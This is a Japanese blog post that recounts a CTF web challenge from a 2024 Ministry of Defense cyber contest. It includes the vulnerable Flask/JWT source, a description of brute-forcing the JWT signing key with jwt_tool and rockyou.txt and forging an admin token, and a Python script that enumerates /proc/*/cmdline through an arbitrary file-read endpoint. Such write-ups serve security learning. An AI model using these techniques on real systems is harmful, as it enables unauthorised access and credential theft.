はじめに
2024/2/24 (日) 開催された防衛省サイバーコンテストに参加しました!
昨年見かけたときから今年こそは参加するぞと意気込んでいたので、感無量です^^
※サーバ閉鎖&ログを取り忘れという失態により役に立たないWriteupとなっております。時間のある時に暇つぶし程度で目を通してください🙄Writeupじゃなくてほぼ参加記です。
目次
Web
とりあえずWebやるか、、という気持ちで問題を解き始めましたがこれがなかなか沼でした。
30点問題が解けてうれしかったのでそれについてWriteup書こうと思います。
Bruteforce
、、と思ったのですが、書こうと思った時点でサーバーが閉鎖されておりアクセスできないという事態に😓ということで覚えている範囲で記載します。Writeupはすぐに書こう(反省)
問題概要
5000番と8000番ポートで公開されている2つのサービスがあります。
8000番のほうはBasic認証が設定されていてアクセスができないので、5000番ポートで公開されているサービスから攻めていくと思われます。
ctf-web-hard.py
from flask import Flask
from flask import jsonify
from flask import request
from flask_jwt_extended import create_access_token
from flask_jwt_extended import get_jwt_identity
from flask_jwt_extended import jwt_required
from flask_jwt_extended import JWTManager
app = Flask(__name__)
app.config["JWT_SECRET_KEY"] = "*************"
app.config["JWT_ACCESS_TOKEN_EXPIRES"] = False
app.config["JWT_REFRESH_TOKEN_EXPIRES"] = False
app.config["JWT_COOKIE_CSRF_PROTECT"] = False
app.config["JWT_ENCODE_NBF"] = False
jwt = JWTManager(app)
@app.route("/login", methods=["POST"])
def login():
users = {}
users['test'] = 'test'
users['admin'] = '*************'
username = request.json.get("username", None)
print(username)
password = request.json.get("password", None)
print(password)
if (not username in users) or (password != users[username]):
return jsonify({"msg": "Bad username or password"}), 401
access_token = create_access_token(identity=username)
return jsonify(access_token=access_token)
@app.route("/protected", methods=["POST"])
@jwt_required()
def protected():
current_user = get_jwt_identity()
if current_user == "test" :
return "ummm...."
elif current_user == "admin" :
filepath = request.json.get("filepath",None)
f = open(filepath,'r')
filedata = f.read()
f.close()
return jsonify(filedata), 200
if __name__ == "__main__":
app.run(host="0.0.0.0")
ふむふむ、、、 /protected
にadmin権限でアクセスすればいいのね、、どうやんの?
JWT
プログラムをみるとLogin時に付与されたJWTで判別しているようです。
記事によるとJWTは下記のような構造になっているらしい
ヘッダ、ペイロード、署名の3つから成る。
それぞれは、Base64でエンコードされている
それぞれは、 . (ドット) で結合されている。
ならtestをadminにすれば行けるのでは??と思ったが事態はそう単純じゃないらしい
HS256と総当たり攻撃
JWTには署名がついており、HS256というものが使用されていると総当たりができてしまうらしい。
こちらの記事を参考にjwt_tool
とrockyou.txt
を使って総当たりを実施したところconankun
という鍵が使用されていることが判明した。
この辺で問題名の意味を理解した。
test
をadmin
に変えて、conankun
で再署名したものでアクセス!filepathは~、、あれ、何指定すればいいんだ??
試行錯誤
ここからめちゃくちゃ時間かかったので端折りますが、本当にわからなかった。
- 8000番で公開されているサーバにアクセスするためにはadminのパスワードが分かればいいのでは?
→filepath
にctf-web-hard.py
を指定して、users['admin'] = '*************'
となっている部分を読めたのはいいものの、そのクレデンシャルではアクセスできない - ほかのディレクトリに
flag.txt
みたいなのがないか探すもみつからない
マジでわからなかったのでヒント見ました。
そしてフラグ獲得へ、、
ヒントを見るとなにやらプロセスをみろみたいなことが書いてある(/proc/*/cmdline
がどーたらみたいなヒントだった気がするけど詳細は忘れましたすみません。)
ということで汚いコードを書いて流してみると、8000番で動作しているサービスはpythonの簡易サーバーで動作しており、configファイルからBasic認証に使われてるクレデンシャルを見ることができました。
import requests
import json
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODg0MzUxOCwianRpIjoiZWQxNWVmZDctYmMzOC00NTcyLWI5NTEtMjc4ZjE5MDJiNjk3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIn0.xHqcMqTEYhbLFWIguSNCvsVUbcTdrbjGV2-5QtD32-4"
url = "http://10.10.10.34:5000/protected"
for i in range(1,32768):
# POST用データ作成
payload = {
"filepath": f"/proc/{i}/cmdline"
}
# JSON形式に変換
json_payload = json.dumps(payload)
# リクエスト送信
res = requests.post(url, data=json_payload, headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {jwt_token}"
})
if res.status_code == 200:
print(f"PID:{i} cmdline:{res.text}")
Basic認証を突破してフラグゲット
FLAG{pLi5lfm8hJK7}
まとめ
サーバ閉鎖されてた&全然ログとってないのコンボで価値のないwriteupになってしまいましたが、苦しんで(ヒントもみて)何とか解答できた様子が伝わりましたでしょうか!?この苦しみを味わってからフラグ取れた時が一番気持ちいいんです()
順位も振るわず実力不足を感じる参加とはなりましたが、まだまだこれからということで参加できただけでもよしとします😊
みなさんも来年は一緒に参加しましょう!Writeup書きたい人は競技中にちゃんとログとかメモとか取っておくことをお勧めしますw